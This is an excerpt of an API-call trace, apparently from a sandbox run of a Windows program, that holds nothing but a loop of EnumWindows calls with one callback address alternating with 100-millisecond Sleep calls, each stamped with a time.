EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.985] Sleep (dwMilliseconds=0x64) [0284.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.988] Sleep (dwMilliseconds=0x64) [0284.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.990] Sleep (dwMilliseconds=0x64) [0284.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.993] Sleep (dwMilliseconds=0x64) [0284.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.996] Sleep (dwMilliseconds=0x64) [0284.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.998] Sleep (dwMilliseconds=0x64) [0284.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.000] Sleep (dwMilliseconds=0x64) [0285.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.002] Sleep (dwMilliseconds=0x64) [0285.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.004] Sleep (dwMilliseconds=0x64) [0285.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.006] Sleep (dwMilliseconds=0x64) [0285.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.009] Sleep (dwMilliseconds=0x64) [0285.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.011] Sleep (dwMilliseconds=0x64) [0285.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.013] Sleep (dwMilliseconds=0x64) [0285.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.015] Sleep (dwMilliseconds=0x64) [0285.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.016] Sleep (dwMilliseconds=0x64) [0285.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.018] Sleep (dwMilliseconds=0x64) [0285.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.020] Sleep (dwMilliseconds=0x64) [0285.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.022] Sleep (dwMilliseconds=0x64) [0285.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.025] Sleep (dwMilliseconds=0x64) [0285.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.027] Sleep (dwMilliseconds=0x64) [0285.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.029] Sleep (dwMilliseconds=0x64) [0285.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.031] Sleep (dwMilliseconds=0x64) [0285.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.033] Sleep (dwMilliseconds=0x64) [0285.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.035] Sleep (dwMilliseconds=0x64) [0285.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.037] Sleep (dwMilliseconds=0x64) [0285.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.039] Sleep (dwMilliseconds=0x64) [0285.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.041] Sleep (dwMilliseconds=0x64) [0285.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.043] Sleep (dwMilliseconds=0x64) [0285.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.046] Sleep (dwMilliseconds=0x64) [0285.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.049] Sleep (dwMilliseconds=0x64) [0285.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.051] Sleep (dwMilliseconds=0x64) [0285.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.052] Sleep (dwMilliseconds=0x64) [0285.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.056] Sleep (dwMilliseconds=0x64) [0285.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.058] Sleep (dwMilliseconds=0x64) [0285.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.060] Sleep (dwMilliseconds=0x64) [0285.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.068] Sleep (dwMilliseconds=0x64) [0285.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.071] Sleep (dwMilliseconds=0x64) [0285.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.073] Sleep (dwMilliseconds=0x64) [0285.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.076] Sleep (dwMilliseconds=0x64) [0285.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.079] Sleep (dwMilliseconds=0x64) [0285.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.081] Sleep (dwMilliseconds=0x64) [0285.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.084] Sleep (dwMilliseconds=0x64) [0285.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.086] Sleep (dwMilliseconds=0x64) [0285.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.088] Sleep (dwMilliseconds=0x64) [0285.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.090] Sleep (dwMilliseconds=0x64) [0285.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.092] Sleep (dwMilliseconds=0x64) [0285.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.094] Sleep (dwMilliseconds=0x64) [0285.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.096] Sleep (dwMilliseconds=0x64) [0285.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.099] Sleep (dwMilliseconds=0x64) [0285.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.100] Sleep (dwMilliseconds=0x64) [0285.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.103] Sleep (dwMilliseconds=0x64) [0285.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.107] Sleep (dwMilliseconds=0x64) [0285.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.110] Sleep (dwMilliseconds=0x64) [0285.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.113] Sleep (dwMilliseconds=0x64) [0285.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.115] Sleep (dwMilliseconds=0x64) [0285.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.117] Sleep (dwMilliseconds=0x64) [0285.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.120] Sleep (dwMilliseconds=0x64) [0285.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.121] Sleep (dwMilliseconds=0x64) [0285.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.124] Sleep (dwMilliseconds=0x64) [0285.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.125] Sleep (dwMilliseconds=0x64) [0285.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.202] Sleep (dwMilliseconds=0x64) [0285.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.210] Sleep (dwMilliseconds=0x64) [0285.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.218] Sleep (dwMilliseconds=0x64) [0285.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.226] Sleep (dwMilliseconds=0x64) [0285.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.339] Sleep (dwMilliseconds=0x64) [0285.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.347] Sleep (dwMilliseconds=0x64) [0285.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.351] Sleep (dwMilliseconds=0x64) [0285.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.353] Sleep (dwMilliseconds=0x64) [0285.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.355] Sleep (dwMilliseconds=0x64) [0285.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.360] Sleep (dwMilliseconds=0x64) [0285.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.362] Sleep (dwMilliseconds=0x64) [0285.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.364] Sleep (dwMilliseconds=0x64) [0285.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.367] Sleep (dwMilliseconds=0x64) [0285.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.413] Sleep (dwMilliseconds=0x64) [0285.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.481] Sleep (dwMilliseconds=0x64) [0285.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.485] Sleep (dwMilliseconds=0x64) [0285.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.487] Sleep (dwMilliseconds=0x64) [0285.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.490] Sleep (dwMilliseconds=0x64) [0285.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.492] Sleep (dwMilliseconds=0x64) [0285.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.494] Sleep (dwMilliseconds=0x64) [0285.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.496] Sleep (dwMilliseconds=0x64) [0285.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.498] Sleep (dwMilliseconds=0x64) [0285.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.500] Sleep (dwMilliseconds=0x64) [0285.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.502] Sleep (dwMilliseconds=0x64) [0285.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.504] Sleep (dwMilliseconds=0x64) [0285.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.506] Sleep (dwMilliseconds=0x64) [0285.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.509] Sleep (dwMilliseconds=0x64) [0285.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.606] Sleep (dwMilliseconds=0x64) [0285.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.610] Sleep (dwMilliseconds=0x64) [0285.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.615] Sleep (dwMilliseconds=0x64) [0285.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.617] Sleep (dwMilliseconds=0x64) [0285.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.619] Sleep (dwMilliseconds=0x64) [0285.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.620] Sleep (dwMilliseconds=0x64) [0285.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.622] Sleep (dwMilliseconds=0x64) [0285.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.625] Sleep (dwMilliseconds=0x64) [0285.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.627] Sleep (dwMilliseconds=0x64) [0285.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.629] Sleep (dwMilliseconds=0x64) [0285.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.631] Sleep (dwMilliseconds=0x64) [0285.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.710] Sleep (dwMilliseconds=0x64) [0285.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.778] Sleep (dwMilliseconds=0x64) [0285.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.883] Sleep (dwMilliseconds=0x64) [0285.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.899] Sleep (dwMilliseconds=0x64) [0285.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.907] Sleep (dwMilliseconds=0x64) [0285.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.916] Sleep (dwMilliseconds=0x64) [0285.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.965] Sleep (dwMilliseconds=0x64) [0285.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0285.973] Sleep (dwMilliseconds=0x64) [0286.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.057] Sleep (dwMilliseconds=0x64) [0286.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.065] Sleep (dwMilliseconds=0x64) [0286.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.067] Sleep (dwMilliseconds=0x64) [0286.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.069] Sleep (dwMilliseconds=0x64) [0286.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.071] Sleep (dwMilliseconds=0x64) [0286.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.075] Sleep (dwMilliseconds=0x64) [0286.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.080] Sleep (dwMilliseconds=0x64) [0286.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.084] Sleep (dwMilliseconds=0x64) [0286.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.088] Sleep (dwMilliseconds=0x64) [0286.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.093] Sleep (dwMilliseconds=0x64) [0286.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.186] Sleep (dwMilliseconds=0x64) [0286.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.201] Sleep (dwMilliseconds=0x64) [0286.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.204] Sleep (dwMilliseconds=0x64) [0286.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.206] Sleep (dwMilliseconds=0x64) [0286.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.208] Sleep (dwMilliseconds=0x64) [0286.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.210] Sleep (dwMilliseconds=0x64) [0286.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.212] Sleep (dwMilliseconds=0x64) [0286.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.215] Sleep (dwMilliseconds=0x64) [0286.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.217] Sleep (dwMilliseconds=0x64) [0286.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.219] Sleep (dwMilliseconds=0x64) [0286.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.221] Sleep (dwMilliseconds=0x64) [0286.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.225] Sleep (dwMilliseconds=0x64) [0286.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.227] Sleep (dwMilliseconds=0x64) [0286.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.229] Sleep (dwMilliseconds=0x64) [0286.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.232] Sleep (dwMilliseconds=0x64) [0286.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.234] Sleep (dwMilliseconds=0x64) [0286.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.235] Sleep (dwMilliseconds=0x64) [0286.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.238] Sleep (dwMilliseconds=0x64) [0286.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.240] Sleep (dwMilliseconds=0x64) [0286.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.243] Sleep (dwMilliseconds=0x64) [0286.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.244] Sleep (dwMilliseconds=0x64) [0286.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.246] Sleep (dwMilliseconds=0x64) [0286.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.248] Sleep (dwMilliseconds=0x64) [0286.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.250] Sleep (dwMilliseconds=0x64) [0286.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.252] Sleep (dwMilliseconds=0x64) [0286.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.255] Sleep (dwMilliseconds=0x64) [0286.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.256] Sleep (dwMilliseconds=0x64) [0286.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.258] Sleep (dwMilliseconds=0x64) [0286.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.260] Sleep (dwMilliseconds=0x64) [0286.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.262] Sleep (dwMilliseconds=0x64) [0286.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.265] Sleep (dwMilliseconds=0x64) [0286.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.266] Sleep (dwMilliseconds=0x64) [0286.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.269] Sleep (dwMilliseconds=0x64) [0286.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.271] Sleep (dwMilliseconds=0x64) [0286.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.273] Sleep (dwMilliseconds=0x64) [0286.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.276] Sleep (dwMilliseconds=0x64) [0286.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.278] Sleep (dwMilliseconds=0x64) [0286.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.281] Sleep (dwMilliseconds=0x64) [0286.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.283] Sleep (dwMilliseconds=0x64) [0286.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.285] Sleep (dwMilliseconds=0x64) [0286.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.287] Sleep (dwMilliseconds=0x64) [0286.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.289] Sleep (dwMilliseconds=0x64) [0286.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.292] Sleep (dwMilliseconds=0x64) [0286.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.294] Sleep (dwMilliseconds=0x64) [0286.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.296] Sleep (dwMilliseconds=0x64) [0286.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.298] Sleep (dwMilliseconds=0x64) [0286.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.300] Sleep (dwMilliseconds=0x64) [0286.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.302] Sleep (dwMilliseconds=0x64) [0286.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.304] Sleep (dwMilliseconds=0x64) [0286.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.306] Sleep (dwMilliseconds=0x64) [0286.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.308] Sleep (dwMilliseconds=0x64) [0286.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.310] Sleep (dwMilliseconds=0x64) [0286.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.312] Sleep (dwMilliseconds=0x64) [0286.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.314] Sleep (dwMilliseconds=0x64) [0286.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.316] Sleep (dwMilliseconds=0x64) [0286.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.318] Sleep (dwMilliseconds=0x64) [0286.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.320] Sleep (dwMilliseconds=0x64) [0286.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.322] Sleep (dwMilliseconds=0x64) [0286.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.330] Sleep (dwMilliseconds=0x64) [0286.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.333] Sleep (dwMilliseconds=0x64) [0286.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.335] Sleep (dwMilliseconds=0x64) [0286.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.337] Sleep (dwMilliseconds=0x64) [0286.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.340] Sleep (dwMilliseconds=0x64) [0286.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.342] Sleep (dwMilliseconds=0x64) [0286.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.344] Sleep (dwMilliseconds=0x64) [0286.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.346] Sleep (dwMilliseconds=0x64) [0286.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.348] Sleep (dwMilliseconds=0x64) [0286.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.350] Sleep (dwMilliseconds=0x64) [0286.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.353] Sleep (dwMilliseconds=0x64) [0286.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.356] Sleep (dwMilliseconds=0x64) [0286.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.357] Sleep (dwMilliseconds=0x64) [0286.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.360] Sleep (dwMilliseconds=0x64) [0286.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.361] Sleep (dwMilliseconds=0x64) [0286.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.364] Sleep (dwMilliseconds=0x64) [0286.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.366] Sleep (dwMilliseconds=0x64) [0286.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.368] Sleep (dwMilliseconds=0x64) [0286.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.370] Sleep (dwMilliseconds=0x64) [0286.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.372] Sleep (dwMilliseconds=0x64) [0286.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.374] Sleep (dwMilliseconds=0x64) [0286.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.376] Sleep (dwMilliseconds=0x64) [0286.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.378] Sleep (dwMilliseconds=0x64) [0286.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.380] Sleep (dwMilliseconds=0x64) [0286.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.382] Sleep (dwMilliseconds=0x64) [0286.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.384] Sleep (dwMilliseconds=0x64) [0286.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.399] Sleep (dwMilliseconds=0x64) [0286.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.482] Sleep (dwMilliseconds=0x64) [0286.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.537] Sleep (dwMilliseconds=0x64) [0286.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.540] Sleep (dwMilliseconds=0x64) [0286.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.542] Sleep (dwMilliseconds=0x64) [0286.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.546] Sleep (dwMilliseconds=0x64) [0286.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.550] Sleep (dwMilliseconds=0x64) [0286.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.553] Sleep (dwMilliseconds=0x64) [0286.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.554] Sleep (dwMilliseconds=0x64) [0286.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.558] Sleep (dwMilliseconds=0x64) [0286.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.560] Sleep (dwMilliseconds=0x64) [0286.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.562] Sleep (dwMilliseconds=0x64) [0286.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.564] Sleep (dwMilliseconds=0x64) [0286.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.567] Sleep (dwMilliseconds=0x64) [0286.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.594] Sleep (dwMilliseconds=0x64) [0286.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.672] Sleep (dwMilliseconds=0x64) [0286.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.729] Sleep (dwMilliseconds=0x64) [0286.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.735] Sleep (dwMilliseconds=0x64) [0286.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.829] Sleep (dwMilliseconds=0x64) [0286.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.851] Sleep (dwMilliseconds=0x64) [0286.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.853] Sleep (dwMilliseconds=0x64) [0286.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.856] Sleep (dwMilliseconds=0x64) [0286.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.858] Sleep (dwMilliseconds=0x64) [0286.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.860] Sleep (dwMilliseconds=0x64) [0286.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.862] Sleep (dwMilliseconds=0x64) [0286.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.864] Sleep (dwMilliseconds=0x64) [0286.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.866] Sleep (dwMilliseconds=0x64) [0286.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.868] Sleep (dwMilliseconds=0x64) [0286.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.870] Sleep (dwMilliseconds=0x64) [0286.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.872] Sleep (dwMilliseconds=0x64) [0286.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.874] Sleep (dwMilliseconds=0x64) [0286.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.876] Sleep (dwMilliseconds=0x64) [0286.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0286.878] Sleep (dwMilliseconds=0x64) [0287.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.028] Sleep (dwMilliseconds=0x64) [0287.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.085] Sleep (dwMilliseconds=0x64) [0287.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.087] Sleep (dwMilliseconds=0x64) [0287.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.095] Sleep (dwMilliseconds=0x64) [0287.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.098] Sleep (dwMilliseconds=0x64) [0287.101] 